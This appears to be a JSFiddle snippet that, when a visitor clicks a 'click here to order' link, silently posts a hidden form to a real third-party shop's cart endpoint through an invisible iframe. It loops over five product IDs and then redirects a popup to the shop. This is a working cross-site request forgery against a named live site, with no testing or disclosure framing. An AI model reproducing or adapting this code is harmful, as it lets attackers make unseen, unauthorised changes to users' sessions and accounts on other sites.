JSFiddle - React, Tailwind, and code Playground

HTML

<a href="#" id="fill">click here to order</a>
<form method="post" action="http://jarcomputers.com/sections/cartaction.inc.php" target="if">
    <input type="hidden" value="1" name="ElemCnt">
    <input type="hidden" value="543001" name="ElemId">
    <input type="hidden" value="10030" name="ElemGrp">
    <input type="hidden" value="19.00" name="ElemPrc">
    <input type="hidden" value="FQRM" name="ElemPCode">
    <input type="hidden" value="2043" name="ElemStatus">
</form>
<iframe src="http://jarcomputers.com/sections/cartaction.inc.php" id="if" name="if"></iframe>

CSS

iframe {
    visibility: hidden;
}

JavaScript

var w;
products = [543001, 544269, 544315, 544661, 544986];
timo = function(x, intv) {
    setTimeout(function(){
        $('input[name="ElemId"]').val( products[x] );
        $("form").submit();
        if(x == products.length-1) {
            w.location.href = "http://jarcomputers.com/?m=3";
        }                
    }, 500*x);
}
$("#fill").click(function(){
    w = window.open();
    w.document.write("<h1>Please wait...</h1>");
    for( x in products ) {
        timo(x);
    }        
});